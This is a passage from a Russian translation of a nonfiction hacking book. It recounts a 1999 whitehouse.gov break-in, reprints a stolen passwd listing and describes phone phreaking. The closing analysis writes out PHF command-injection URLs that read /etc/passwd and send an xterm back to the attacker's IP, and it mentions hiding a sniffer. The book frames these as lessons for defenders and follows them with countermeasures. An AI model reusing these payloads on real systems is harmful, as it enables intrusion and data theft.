Многие хакеры начинают заниматься хакерством в подростковом возрасте, а то и раньше. Не слишком ли рано это для того, чтобы распознать потенциальную угрозу твоей стране, когда кто-то просит вас о чем-то? Хотелось бы думать, что 9/11 сделало американских хакеров — даже самых юных — подозрительными в том плане, чтобы не быть игрушкой в руках террористов. Надеюсь, я прав.
  БЕЛЫЙ   ДОМ   ВМЕШИВАЕТСЯ
История компьютерной безопасности в некотором смысле параллельна истории криптографии. В течение столетий создатели кодов разрабатывали шифры, которые они считали «невзламываемыми». Даже сегодня, когда в новых поколениях компьютеров послание шифруется практически мгновенно при помощи ключей в сотню символов, большинство кодов остаются взламываемыми. (Организация, где разрабатываются и взламываются коды, обладает самыми большими, быстрыми и мощными в мире компьютерами — это Национальное агентство по безопасности).
Компьютерная безопасность похожа на игру кошки и мышки, где на одной стороне выступают эксперты по безопасности, а на другой — хакеры. Код операционной системы Windows содержит десятки миллионов строчек кодов. Естественно, в такой большой программе опытный хакер всегда сможет найти лазейку.
Тем временем обычные работники компании, чиновники, иногда даже сотрудники службы безопасности, устанавливая новый компьютер или приложение, меняя пароль или создавая новый, совершенно безопасный, оставляют свой компьютер уязвимым.
Если вы читаете новости о хакерских атаках и вторжениях, то должны знать, что хакерам удается проникнуть на военные и правительственные сайты и даже на Интернет-сайт Белого Дома. Иногда по нескольку раз.
Проникнуть на Интернет-сайт и поменять его содержание — это еще полдела, чаще всего это не так сложно сделать. До сих пор многие люди используют один и тот же пароль для различных случаев: если при проникновении в сеть вам удалось получить доступ к паролям, то, скорее всего, вы сможете получить доступ и к другим системам в сети и достигнуть больших результатов. neOh рассказывал, как в 1999 году он с другими членами группы gLobaLheLL сделал именно это с одним из самых чувствительных мест в США — с сайтом Белого Дома. «В тот момент Белый Дом переустанавливал операционную систему на своих компьютерах. Там сломалось буквально все. И за эти десять-пят-надцать минут Zyklon и MostFearD успели проникнуть внутрь, добраться до файла с паролями, прочесть его и изменить Интернет-сайт. Я был рядом с ними, когда они проделывали все это.
Очень важно бывает оказаться в нужное время в нужном месте. Им это удал о с ь с л у ч а й н о — б ы т ь как р а з н а линии, когда с а й т н а ч а л обновляться. Мы обсуждали это в чате gLobaLheLL Около трех ночи меня разбудил телефонный звонок, и они сообщили, что делают это. Я сказал: «Зашибись! Покажите!». Я просто прыгнул за мой компьютер. Действительно, они сделали это.
MostFearD и Zyklon сделали большую часть работы. Они переслали мне файл с паролями для взлома. Я добыл один пароль — простое слово из словаря. Это было главное».
neOh предоставил нам часть этого сайта с паролями, который его коллеги извлекли и переслали ему, в этой части приведены пароли некоторых известных пользователей из персонала Белого Дома 7  .
neOh никогда не говорил, что текст был в онлайн-доступе.

root:x:0:l:Super-User:/:/sbin/sh
daemon:x:l:l::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4: Network Admin:/usr/net/nls:
nobody:x:60001:60001 :Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
bing:x: 1001:10:Bing F e r a r e n : / u s r / u s e r s / b i n g : / b i n / s h
orion:x: 1002:10:Christopher
Adams:/usr/users/orion:/usr/ace/sdshell
webadm:x:1130:101:Web
Administrator:/usr/users/webadm:/bin/sh
cadams:x:1003:10:Christopher
Adams:/usr/users/cadams:/usr/ace/sdsbell
barth om :1004:101:Mark

Подтвердить это трудно. Поскольку атака произошла во время правления президента Клинтона, никто из перечисленных людей уже не работал в Белом Доме. Удалось отыскать лишь несколько свидетельств. Монти Хьямч делал видеозаписи, Кристофер Аламс — имя журналиста из Financial Times, английской газеты — как нам удалось выяснить, в Белом Доме не было сотрудника с таким именем. Дебра Рейд — это фотограф из Associated Press. В Белом Доме не было сотрудника по имени Кони Колабисто; ж е н щ и н а с таким именем была женой Женэ Колабисто. президента компании по решениям для создания изображений, но совершенно непонятна их связь с Белым Домом.

Bartholomew:/usr/users/barth om :/usr/ace/sdshell
monty:x:1139:101:Monty
Haymes:/usr/users/monty:/bin/sh
debra:x:1148:101:debra
Reid:/usr/users/debra:/bin/sh
connie:x:1149:101:Connie
Colabastistto:/usr/users/connie:/bin/sh bill:x:1005:101:William Hadley:/usr/users/bill:/bin/sh

Это типичная форма файла паролей в Unix или Linux, когда зашифрованные пароли хранятся в отдельном защищенном файле. Каждая строка соответствует имени человека, имеющего учетную запись в этой системе. Слово «sdshell» в некоторых строках означает. что эти пользователи в целях дополнительной безопасности носят с собой маленькое электронное устройство под названием «RSA Secure ID», которое показывает шестизначное число, изменяющееся каждую минуту. Чтобы войти в компьютер, эти пользователи должны набрать шестизначное число, которое в данный момент показывает их устройство вместе с определенным PIN-кодом (который выдается руководством в одних компаниях или же выбирается самостоятельно в других). Сайт Белого Дома был искажен практически в тот же момент, как они его взломали, чтобы показать, что они уже оказались там — так рассказывает neOh, который и предоставил им картинку для искажения сайта 8  . Кроме эмблемы группы хакеров gLobaLheLL на этой странице был еще текст Hong Kong Danger Duo. По словам neOh, это было написано без особого смысла, просто чтобы заполнить страницу сайта.
  http://www.attrition.org/mirror/attriti … irror.html
Как вспоминает neOh, ребята, которые хакнули Белый Дом, не чувствовали никакой особой гордости по тому поводу, что им удалось проникнуть на один из десятка самых охраняемых в США Интернет-сайтов. Они постоянно «были заняты тем, что проникали повсюду», объясняет neOh, «чтобы доказать всему миру, что мы самые крутые». Вместо того, чтобы устраивать виртуальные пляски по поводу удачного взлома, все, что они могли сказать друг другу по этому поводу: «Хорошая работа, парни, мы сделали это. Кто следующий?»
Но у них уже оставалось не так много времени для того, чтобы делать следующие взломы. Их мирок уже близился к распаду и в этой части истории опять появляется таинственный Халид.
Теперь Zyklon, известный еще как Эрик Бернс, берет нить повествования в свои руки. Он даже не был членом группы gLobaLheLL, по его словам, а просто тусовался на сайтах IRC с некоторыми ребятами. Проникновение на сайт Белого Дома, как он рассказывает, стало возможным после того, как он обнаружил «дыру» в программе под названием PHF, которая использовалась для доступа к базе данных телефонов. Именно эта «дыра» стала уязвимым местом сайта, о ней знали многие в хакерском сообществе, «но немногие люди использовали ее», говорит Zyklon.
Выполнив некоторую последовательность шагов (подробное описание которой приведено в разделе «Анализ» в конце главы), он смог проникнуть в корневую директорию на сайте whitehouse.gov и получить доступ к другим системам локальной сети, включая и сервер электронной почты Белого Дома. После этого Zyklon получил возможность перехватывать любую переписку между сотрудниками Белого Дома и внешним миром, хотя, естественно, в этих письмах не содержалось никакой секретной информации.
Zyklon также отметил, что он смог «получать копии секретных файлов и файлов паролей». Они тусовались на этом сайте, просматривая, что там есть интересного и дожидаясь, пока сотрудники начнут приходить на работу. Как раз в это время ему позвонил Халид, который сказал, что пишет статью о самых последних хакерских успехах и не может ли ему Zyklon рассказать что-нибудь «свеженькое». «Я сказал ему, что мы как раз сейчас находимся на Интернет-сайте Белого Дома», — вспоминал Zyklon.
Через несколько часов после этого разговора, рассказывал мне Zyklon, он заметил, что на сайте появился «нюхач» — это системный администратор решил проверить, что происходит на сайте и попытаться установить, кто на нем находится. Что это — случайное совпадение? Или в этот момент появились причины стать подозрительным? Прошли месяцы, пока Zyklon не нашел ответа на этот вопрос. Как только он обнаружил «нюхач», все хакеры отсоединились от сайта, надеясь, что они заметили администратора быстрее, чем он заметил их присутствие.
Однако, образно говоря, они разворошили осиное гнездо. Через две недели сотрудники ФБР задержали всех членов gLobaLheLL, кого им удалось идентифицировать. Кроме Zyklon (19 лет, задержан в Вашингтоне), они схватили MostHateD (Патрик Грегори, 19 лет, Техас), MindPhasr (Чад Дэвис, Висконсин) и других.
neOh оказался одним из тех, кому удалось уйти. Наслаждаясь ощущением свободы в своем убежище, он решил послать на сайт Белого Дома оскорбительное сообщение. Вот как оно выглядит: «Слушайте, Вы, м….и долбаные из ФБР. Не дое…есь до нас, вы все равно проиграете. Ваш домен fbi.gov в наших руках. БОЙТЕСЬ НАС. Вам удалось арестовать нас, поскольку вы, тупые идиоты, смогли вычислить, кто хакнул Белый Дом, верно? Поэтому вы хватаете нас всех и смотрите — кто из нас нарк. ОБЛОМИТЕСЬ, КОЗЛЫ ГРЕБАНЫЕ, МЫ НЕ НАРКУШИ. Понятно? МЫ — ПОВЕЛИТЕЛИ МИРА!»
И подписался: «neOh, немилосердный».
  ПОСЛЕДСТВИЯ
Как же так случилось, что ранним утром системный администратор решил установить на сайте «нюхач»? Zyklon не сомневался в ответе. Когда представители прокуратуры обнародовали свои материалы по данному случаю, он обнаружил там упоминание о том, что информацию о взломе сайта Белого Дома группой gLobaLHeLL предоставил информатор ФБР. Как припоминает Zyklon, там было написано, что этот информатор живет в Нью-Дели, Индия.
По мнению Zyklon, больше никаких сомнений не оставалось. Единственный человек, которому он говорил о взломе Белого Дома, был Халид Ибрагим. Один плюс один равно двум: Халид был информантом ФБР.
И все же оставалась некоторая неясность. Даже если Zyklon прав, то вся ли это правда? Кто такой Халид — информатор, помогающий ФБР отлавливать юных хакеров, стремящихся взломать важные сайты? Или же есть иное объяснение: то, что он информатор — это только полправды: кроме этого, он пакистанский террорист, как считает и индийский генерал. Он играет роль двойного агента, сотрудничая и с Талибаном, и с ФБР.
Его постоянные опасения, что кто-то из ребят донесет о нем в ФБР, вполне вписываются в эту версию.
Наверняка всю правду о ситуации знали совсем немного людей. Были ли среди них сотрудники ФБР и прокураторы или же их так же дурачили?
В конце концов, Патрик Грегори и Чад Дэвис были приговорены к двадцати шести месяцам, a Zyklon Бернс — к пятнадцати месяцам. Все трое уже отбыли свои сроки и вышли из тюрьмы.
  ПЯТЬ   ЛЕТ   СПУСТЯ
Сейчас хакерство для Comrade в общем-то, только воспоминание. но и сейчас он заметно оживляется, когда говорит о том, что «это так заводит — делать то, что тебе нельзя делать, лезть туда, куда тебе лезть нельзя, или идти туда, куда нельзя ходить, в поисках чего-нибудь действительно клевого».
Но пора уже и взрослеть. Он говорит, что подумывает о колледже. Мы разговаривали с ним вскоре после того, как он вернулся из лагеря скаутов в Израиле. Язык не оказался проблемой — он учил иврит в школе и был удивлен тем, насколько хорошо он его помнит.
Его впечатления от страны были самые разные. Девчонки были «действительно классными», оказалось, что израильтяне очень любят Америку. «Казалось, что они берут пример с американцев». Как-то он был с несколькими израильтянами, которые пили напитки. о которых он никогда не слышал, под названием RC Cola: оказалось, что это американские напитки. Как объяснили израильтяне, «в рекламе говорилось, что американцы пьют именно эти напитки». Он встретил там и «некоторые антиамериканские настроения у людей, которые не были согласны с политикой США», но воспринял это спокойно: «я подумал, что такое можно встретить везде».
Ему очень не понравилась погода, — во время его пребывания «было холодно и дождливо». Были проблемы и с компьютерами. Он купил ноутбук с возможностью беспроводной связи специально для путешествия, но обнаружил, что «дома построены из огромных толстых камней». Его компьютер зарегистрировал пять или даже десять сетей, но сигнал был слишком слабым для соединения, и приходилось идти двадцать минут до того места, где он мог бы установить надежную связь.
Итак, Comrade вернулся в Майами. Совсем еще молодой человек с уголовным преступлением за плечами, он живет в унаследованном доме и собирается принять решение — поступать или не поступать в колледж. Ему двадцать лет и он умеет делать совсем не так уж много.
Старый приятель Comrade neOh работает в крупной телефонной компании (работа с девяти до пяти ему совсем не нравится), но скоро он на три месяца поедет в Лос-Анджелес, где поработает в какой-то лаборатории, потому что там платят во много раз больше, чем он сейчас зарабатывает. Участвуя в жизни общества, он надеется отложить достаточно для того, чтобы купить себе домик там, где он живет.
После того, как трехмесячная «халтура» завершится, neOh тоже подумывает поступить в колледж, но не для того, чтобы изучать компьютерные науки. «Большинство людей со степенью в компьютерных науках, которых я встречал, знали кучу всякого бесполезного дерьма», — говорит он. Он собирается стать экспертом в бизнесе и управлении компаниями, и намерен выйти на компьютерный рынок на серьезном уровне.
Разговор о его старых подвигах возродил в памяти его преклонение перед Кевином. До какой степени он вообразил себя моим последователем?
« Х о т е л ли я, чтобы м е н я поймали? И да, и нет. Б ы т ь пойманным означал о продемонстрировать всем: „ Я могу с д е л а т ь это, я с д е л а л это“. Б ы т ь пойманным совсем не было для меня главным, но я хотел быть пойманным, чтобы победить их, освободиться и быть хакером, который освободился. Выйдя, я получил бы хорошую работу в правительственном агентстве и установил бы контакты с андерграундом».
  НАСКОЛЬКО   ВЕЛИКА   УГРОЗА  ?
Сочетание усилий профессиональных террористов и бесстрашных юных хакеров может быть совершенно разрушительно для страны. Рассказанный эпизод заставил меня подумать, как много таких же «халидов», жаждущих больших денег, самоутверждения или достижения своих целей, вербуют несмышленых детей (или же агрессивно настроенных взрослых хакеров). Помощники новых «халидов» могут гораздо лучше замаскироваться и их будет труднее отыскать.
Когда я находился в предварительном заключении по обвинению в своих хакерских делах, со мной несколько раз общался один крупный колумбийский наркоторговец. Ему угрожало пожизненное заключение без возможности обжалования. Он предложил выгодную сделку — заплатить мне пять миллионов долларов наличными, если я проникну в «Центр» — компьютерную систему Федерального управления тюрем — и освобожу его из заключения. Этот человек говорил совершенно серьезно и наверняка выполнил бы свое обещание. Я не принял его предложения, но сделал вид, что готов ему помочь, чтобы избежать проблем с ним. Я не знаю, как поступил бы neOh в подобной ситуации.
Наши враги могут серьезно готовить своих солдат для ведения компьютерной войны, для атак на нашу инфраструктуру и для защиты своей. Очевидно, что эти группы будут привлекать себе на помощь умелых хакеров со всего мира, чтобы они «натаскивали» солдат для выполнения спецзадании.
В 1997 и в 2003 гг. Министерство обороны проводило специальную операцию (Operation Eligible Receiver) — для того, чтобы проверить уязвимость США перед электронной атакой, В соответствии с отчетом, опубликованным в «Washington Times» 10 о результатах первой такой проверки, «высшие чины Пентагона были потрясены демонстрацией того, как легко хакеры взламывали американские военные и гражданские компьютерные сети». Далее в статье говорилось, что Национальное агентство по безопасности срочно собрало группу компьютерных экспертов — «red team» (Специальный термин, означающий: проверка содержания и качества квалифицированными специалистами, не принимавшими участия в подготовке продукта. Смысл работы red team — проверка систем, программ, военных планов теми, кто может думать, как бандит, хакер, террорист и т. д. —  прим.ред.) для «мозгового штурма». Их задачей было проанализировать возможности хакеров. Им разрешалось работать только на общедоступном компьютерном оборудовании, используя хакерс-кие средства, включая программы, которые они загружали себе из Интернета или создавали сами.
Через несколько дней группа смогла проникнуть в компьютерные системы, управляющие энергетической сетью и с помощью серии команд могла лишить часть страны электричества. «Если бы действия группы были реальными». — писал тогда журнал «Christian Science Monitor», «они могли бы разрушить коммуникационные системы Министерства обороны (вывести из строя большинство тихоокеанских подразделений) и получить доступ к компьютерным системам на борту военно-морских кораблей США» 11  .
В моем личном послужном списке есть несколько побед над механизмами безопасности, которые используют американские телефонные компании для управления доступом к телефонным станциям. Лет десять назад у меня был полный контроль над большинством переключателей таких крупнейших американских телефонных операторов, как Pacific Bell, Sprint, GTE и многие другие. Представьте себе, какой хаос мог возникнуть, если бы такие возможности оказались доступными группе террористов.
Члены Аль-Кайды и других террористических групп используют компьютеры при планировании своих террористических актов. Есть доказательства того, что и при планировании атак 9/11 террористы использовали Интернет.
Если даже Халиду Ибрагиму удалось получить какую-то информацию у кого-то из юных хакеров, ни один из них не сознается в этом. Если он действительно был связан с атаками на башни Всемирного торгового центра и Пентагон, то доказательств этому нет. Нет сведений и о том, когда он или кто-то из его подручных появятся опять на компьютерной сцене в поисках несмышленых помощников, которые испытывают непреодолимое желание «делать то, что тебе нельзя делать, лезть туда, куда тебе лезть нельзя, или идти туда, куда нельзя ходить, в поисках чего-нибудь действительно клевого». Таких помощников, которые могут считать поставленные перед ними задачи «крутыми».
Для молодых хакеров слабая безопасность остается непреодолимым соблазном. Хакеры, о которых идет речь в этой истории, вынуждены были признать, насколько опасно выполнять задания иностранных заказчиков по проникновению в секретные американские компьютерные сети. Можно только предполагать, сколько других «neOh» были завербованы нашими врагами.
Безопасность стала жизненно важным делом, поскольку мы живем в мире, населенном террористами.
  АНАЛИЗ
neOh подробно рассказал нам, как он проник в компьютерную систему компании Lockheed Martin. Его рассказ является важным свидетельством, — как пример и для хакеров («Если в системе безопасности есть лазейка, то мы отыщем ее» — таков их лозунг), так и для служб компьютерной безопасности в любой организации.
Он быстро определил, что в компании Lockheed Martin используется собственный сервер доменных имен (DNS — Domain Name Server). DNS — это Интернет-протокол, который, например, транслирует имя сайта  wwwdisney.com в 198.187.189.55 — адрес, который может использоваться для маршрутизации пакетов. neOh знал, что группа исследования безопасности в Польше опубликовала то, что хакеры называют «exploit» (подвигом или достижением) — программу, специально созданную для атаки одного конкретного уязвимого места в версии DNS, которую использовала компания Lockheed.
Компания использовала разновидность DNS-протокола под названием BIND (Berkeley Internet Name Domain). Польская группа обнаружила. что одна из версий BIND уязвима перед определенным типом атак (переполнение удаленного буфера) и именно эта версия используется в Lockheed Martin. Следуя инструкциям статьи, neOh смог получить привилегии администратора на обоих серверах компании Lockheed.
После получения этих привилегий neOh организовал перехват паролей и электронной почты при помощи программы «вынюхивания», которая действует, как своеобразное подглядывающее компьютерное устройство. Любой посланный трафик эта программа перехватывает; обычно хакер пересылает перехваченную информацию туда, где ее невозможно найти. Чтобы спрятать координаты «нюхача», рассказывает neOh, он создал директорию без имени, тo есть «var/adm/…». При проверке системный администратор вполне мог и пропустить такую незаметную ссылку.
Подобная техника маскировки программ «вынюхивания» очень эффективна и совсем проста; для сокрытия следов хакерского вмешательства есть много более сложных методов.
Не успев найти пути проникновения в сеть Lockheed Martin для получения секретной информации компании, neOh переключился на другую задачу, поэтому секретные файлы остались нетронутыми,
При проникновении на сайт Белого Дома, как рассказывает Zyklon, он вначале запустил программу под названием CGI-сканер. которая сканирует систему на предмет поиска CGI-лазеек. Он обнаружил, что Интернет-сайт уязвим перед атаками, использующими «PHF-дырку», действие которой основано на программной ошибке, сделанной разработчиками в тексте PHF (телефонной книги).
PHF — это своеобразный интерфейс, который устанавливает соответствие между именем на входе и отыскивает соответствие ему на сервере. Программа вызывает функцию escap eshell cmd(), которая должна проверять входные данные на наличие в них специальных знаков. Но программисты исключили из этого списка знаков знак перехода на новую строку. Именно это и может использовать умелый хакер, включив во входную информацию этот знак (ОхОа) в расшифрованном виде. Посыл строки с этим знаком превращает текст в команду для исполнения, написанную хакером.
Zyklon напечатал в своем браузере такой адрес:
  http://www.whitehouse.gov/cgi-  bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
После этого он смог получить доступ к файлу паролей для white-house.gov. Но он стремился получить полный контроль над сервером Белого Дома. Он знал, что скорее всего порты Х-сервера будут защищены специальным экраном, который помешает ему соединиться с любым из сервисов на whitehouse.gov. Вместо этого он опять использовал «PHF-дырку». напечатав:  http://www.whitehouse.gov/cgi-  bin/phf?Qalias=x%Oaa/usr/X11R6/bin/xterm%20-ut%20-display%20zyklons.ip.adress:0.0
Это привело к посылке xterm с сервера Белого Дома на его компьютер, работающий на сервере X. Таким образом, вместо того, чтобы соединяться с whitehouse.gov, он дал команду системе Белого Дома соединиться с ним. (Это возможно только в том случае, когда защитный экран допускает исходящие соединения — именно такой случай и был реализован в данной ситуации).
Затем он использовал уязвимость перегрузки буфера в системной программе ufsrestore. По словам Zyklon, это позволило ему получить доступ к корневой директории whitehouse.gov, так же как и доступ к почтовому серверу Белого Дома и другим системам сети.
  КОНТРМЕРЫ
Описанные здесь «подвиги» neOh и Comrade поднимают две серьезные проблемы.
Первая достаточно проста и хорошо известна: используйте только последние релизы операционных систем и приложений в вашем ПО. Это очень важно, поскольку в них устранены все найденные прорехи в системе безопасности. Причем это не должно делаться случайным образом. Все компании должны разработать специальные программы оповещения ИТ-персонала о том, что появилась очередная заплатка для той или иной программы, имеющейся в их арсенале.
Как только эта заплатка становится готовой к использованию, она должна быть установлена как можно быстрее, пока из-за нее не нарушилась работа ПО компании. Легко представить себе перегруженность ИТ-сотрудников, которые заняты повседневной работой (подключение компьютеров новых пользователей — это лишь одна из таких рутинных задач), и установка подобных заплат для них — лишняя головная боль. Надо убедить их, что пропуск хотя бы одной заплатки создает очень высокий риск для всей организации.
Хакеры смогли проникнуть в огромное число систем лишь потому, что в них своевременно не были установлены заплатки. После того, как та или иная лазейка становится известной, риск проникновения во все компьютеры резко нарастает до тех пор пока производители ПО не создадут устраняющую её заплатку и не распространят ее среди пользователей.
Любая организация должна сделать установку подобных заплаток одной из приоритетных задач ИТ-службы. разработав при этом методику максимально быстрого получения информации о заплатках и установки их с минимальными помехами основному процессу ведения бизнеса.
Но даже такое тщательное отслеживание всех появляющихся лазеек и заплаток недостаточно, как подчеркивает neOh, поскольку некоторые взломы, в которых он участвовал, происходили буквально в «час икс», когда обнаруживалась лазейка — она еще не была известна никому, кроме нескольких экспертов-хакеров. Производители ПО и эксперты в области безопасности физически не успевали создать защиту от нее.
Поскольку всегда остается вероятность, что в вашу систему проникнут именно в «час икс», каждая компания уязвима все то время, пока не появится заплатка к новой лазейке. Как же снизить риск?
На мой взгляд, единственное эффективное решение — использовать модель «глубокой защиты». Мы должны исходить из того, что наша компьютерная система в какой-то момент времени будет подвержена атаке в «час икс». Поэтому мы должны создать такое окружение, которое смогло бы минимизировать возможный вред от проникновения плохих парней в нашу систему. Один из примеров, как уже говорилось, это поместить такую компьютерную систему в « D M Z » , то есть — за межсетевой экран. Термин «DMZ» — демилитаризованная зона — взят из обихода военных и политиков, в данном случае он означает, что компьютеры общего доступа (Интернет-сервера, почтовые сервера, DNS-сервера и т.п.) изолированы от корпоративной сети и мест хранения секретной информации. Такая организация компьютерной сети компании — это один из примеров «глубокой защиты».
Даже если хакер обнаружит ранее неизвестную никому лазейку на Интернет-сервере или почтовом сервере и использует ее, он не сможет дотянуться до корпоративной информации благодаря наличию следующего уровня защиты.
Следующая эффективная контрмера против хакеров — это контроль сети или даже отдельных ее компьютеров на необычную или подозрительную активность в ней. Атакующий обычно предпринимает определенный набор действий для того, чтобы проникнуть в систему, таких, как попытки получить зашифрованные или обычные пароли, установка «черного хода», изменение файлов конфигурации для ослабления безопасности, модификация системы, приложений или log-файлов и др.
Если организовать постоянно действующий процесс, который отслеживал бы типичные для хакеров виды активности и подавал персоналу сигнал тревоги при их обнаружении, то можно было фиксировать попытки вторжения в систему.
В качестве отдельной темы стоит упомянуть, что пресса несчетное число раз спрашивала меня о наилучших способах защиты вашего компьютера и бизнеса в современных условиях. Один из основных моих советов — использовать более серьезную авторизацию, чем обычные пароли. Обычно вы понимаете, что кто-то украл ваш пароль только после того, как обнаруживаете последствия этого.
Есть много разных технологий авторизации второго уровня, которые можно использовать в сочетании с традиционными паролями, чтобы обеспечить более высокий уровень безопасности. Вдобавок к RSA Secure ID, упомянутой раньше. Safeword Premier Access предлагает специальные устройства (tokens) для генерации паролей, цифровые сертификаты, смарт-карты, биометрическую и другие технологии.
Использование таких типов авторизации, естественно, удорожает систему и добавляет определенные неудобства в работе с ней для каждого пользователя. Все зависит от того, что вы стремитесь защитить. Традиционные пароли вполне достаточны, чтобы защитить сайт газеты, где выложены новые статьи. Но достаточно ли их для того, чтобы защитить чертежи последней модели истребителя?
  ПОСЛЕСЛОВИЕ
Истории, рассказанные в этой книге и на страницах прессы, демонстрируют, как небезопасны все государственные компьютерные системы, и как мы уязвимы перед подобными атаками. Очень мало систем обладают действительно надежным уровнем безопасности.
В эпоху терроризма необходимо постараться сделать все возможное. чтобы залатать имеющиеся и возникающие дыры. Эпизоды, рассказанные выше, говорят о серьезной проблеме: как легко таланты и знания наших детей могут быть обращены против нашего общества. Я не сомневаюсь, что уже в школе детям надо преподавать основы компьютерной этики параллельно с изучением основ информатики.
Не так давно я слушал выступление Франка Абагналя, ярого сторонника фильма «Поймай меня, если сможешь». Франк провел опрос среди студентов университетов по всей стране об этической стороне использования компьютеров. Каждому студенту был задан вопрос —считает ли он возможным для себя узнать пароль приятеля и проникнуть в его компьютер. Как это ни удивительно, но 48% опрошенных студентов ответили, что находят такую перспективу весьма забавной. С таким настроем молодежи несложно понять, почему люди начинают заниматься подобными делами.
Если кто-то знает, как сделать юных хакеров невосприимчивыми к попыткам наших явных и тайных врагов использовать их в своих интересах, пусть он обнародует свои предложения.

Глава 4.
  Полицейские   и   воры

Я подумал: «О, Господи!», бросился в комнату, где сидели полицейские офицеры, и сказал: «Ребята, вам знакомы эти имена?» Я прочел список имен. Один из полицейских сказал: «Это судьи США в районе Сиэтла». Я сказал: «Так вот у меня есть список из двадцати шести взломанных паролей». Полицейские просто позеленели от ярости.

    Дон Боэлинг, компания BoeingAircraft

Мэтт и Коста не планировали атаковать Boeing Aircraft.
Но так уж получилось. Но последствия этого случая в сочетании с другими хакерскими попытками стали серьезным предупреждением для всего бизнеса. Эти двое могли бы стать героями постеров в кампании, предостерегающих молодых хакеров от подобных действий.
Коста Катсаниотис начал знакомиться с компьютерами в одиннадцать лет, когда ему подарили Commodore Vic 20, и он начал писать программы для того, чтобы улучшить его работу. Уже в том младенческом возрасте он написал программу, которая позволяла его друзьям соединяться с его компьютером по телефону и видеть список того, что находится на его жестком диске. «Именно тогда я начал работать с компьютерами и полюбил все конкретные мелочи этой работы». Он имеет в виду не только программирование: он не менее активно работал и с оборудованием, не боясь, как он выражается, «потерять отвертку», потому что «начал развинчивать что-то еще года в три».
Мама отправила его в частную христианскую восьмилетнюю школу, а потом — в публичную школу. В этом возрасте он полюбил музыку группы U2 (он до сих пор остается ее поклонником), также как Def Leppard и «еще кое-что из темной музыки»; его вкусы в области компьютеров постепенно расширялись в сферу телефонии. Более старшие ребята научили его использовать «800-WATS-номep» для бесплатных междугородных звонков.
Коста любил компьютеры и понимал их на каком-то природном уровне. Возможно, отсутствие отца повысило его интерес к той области, где он мог наслаждаться полным контролем.
«В старших классах я иногда отвлекался от компьютера, потому что у меня проснулся интерес к девушкам. Но моя страсть к компьютерам не ослабевала никогда, и они всегда были где-то рядом. Я не начинал заниматься хакерством до тех пор, пока у меня не оказался в руках компьютер, который мог с этим справиться. Это был Commodore 128».
Коста встретил Мэтта — Чарльза Мэтью Андерсона — в Интернете на специальном сайте BBS в Вашингтоне. «Около года мы встречались там, и общались по телефону и через электронную почту, пока не встретились лично». Мэтт, чей псевдоним в Сети был Cerebrum, называет свое детство «абсолютно нормальным». Его отец был инженером в компании Boeing и дома у них был компьютер, которым Мэтту разрешалось пользоваться. Можно представить себе, какими странными казались отцу предпочтения Мэтта в музыке: он предпочитал стиль «индастриал» и кое-что из «темных направлений».
«Я начал программировать в возрасте девяти лет. Почти все мое детство я занимался графикой и музыкой на компьютере. В этом заключена одна из причин того, что я люблю компьютеры и по сей день — подобное занятие и сегодня доставляет мне удовольствие.
С хакерством я впервые соприкоснулся в старших классах школы, когда понял, что можно использовать телефонную сеть, которой пользовались только учителя и администраторы школы для междугородных звонков. Я часто пользовался этим обманом в старших классах».
Мэтт окончил школу, войдя в десятку лучших выпускников и поступил в университет Вашингтона, где начал постигать высокую компьютерную премудрость. — он занимался вычислениями на мейнфреймах. В колледже, работая с UNIX-машинами, он начал изучать этот аспект компьютерных вычислений «с помощью Интернет-сайтов и новостных лент в Интернете».
  ТЕЛЕФОННОЕ   ЖУЛЬНИЧЕСТВО
Зародившаяся между Мэттом и Костой дружба плохо на них повлияла — они двинулись по дорожке телефонного хакерства, которое известно еще под названием «фрикинг». Коста вспоминает, как однажды ночью они занимались тем, что хакеры называют «разрыванием помоек», что по сути своей означает поиск в отбросах, остающихся в телефонных вышках. «В них можно отыскать списки телефонов, относящихся к этой башне», то есть телефонные номера и электронные номера (ESN Electronic Serial Number), которые являются уникальными идентификаторами каждого мобильного телефона, Мэтт вспоминает: «Это были тестовые номера, которые техники используют для проверки уровня сигнала. Для каждой базовой станции существовали такие специальные номера».
Ребята приобрели телефоны OKI 900 и устройства для перепрограммирования чипов в телефонах. Они не только перепрограммировали новые номера, но также устанавливали и новое ПО, которое позволяло программировать любые номера и ESN-номера в каждом телефоне. Перепрограммируя телефоны на специальные тестовые номера, они обнаружили, что так можно получить доступ к бесплатным телефонным звонкам. «Пользователи набирают номер, по которому хотят позвонить. Если мы хотим, то быстро можем переключить звонок на другой номер», — говорит Коста.
(Происходит то, что я называю «планом Кевина Митника для сотового телефона» — плата составляет ноль за месяц, ноль за минуту — вы можете вообще перестать платить за телефонные разговоры, вы понимаете, что я имею в виду).
С помощью такого перепрограммирования Мэтт и Коста могли звонить куда угодно из любого места на планете: если информация об их звонках и записывалась куда-то, то только в архивы сотовых операторов. Никакой платы, никаких вопросов. Просто бесплатные переговоры, которые очень любят фрикеры и хакеры.
  ПУТЬ   В   СУД
Попасть под суд — это последнее, о чем думают хакеры. Коста и Мэтт попались на заре своей хакерской карьеры, но по разным причинам.
Помимо поисков в телефонных отбросах и подмены телефонов два наших героя часто занимались поиском модемов dial-up, через которые они могли бы проникнуть в интересующие их системы. За одну ночь они могли проверить около 1200 телефонных номеров таких модемов. За два-три дня они могли проверить целую телефонную книгу. После завершения этого процесса они получали список перспективных номеров, от которых получали ответ. «Я запускал мою поисковую программу на телефонах в Сиэтле, которые начинались с 206-553», — вспоминает Мэтт. «Все эти телефоны принадлежали государственным агентствам того или иного типа. Именно поэтому нам были интересны эти номера — мы могли проникнуть в государственные компьютеры». Никакого конкретного плана у них не было.
Коста: «Мы были детьми и не имели никакого конкретного плана». «Фраза: „Что мы будем сканировать сегодня ночью?“ звучит гораздо интереснее, чем фраза: „Что мы делаем сегодня ночью?“ Мэтт: „Все, что вы делаете, это забрасываете сеть в море и смотрите, какую рыбу она вам приносит“.
Коста просмотрел запись работы программы ночного поиска и обнаружил, что однажды она обращалась к компьютеру, который вернул ответную информацию типа «Районный суд США». Он тогда сказал: «Федеральная собственность — это звучит заманчиво».
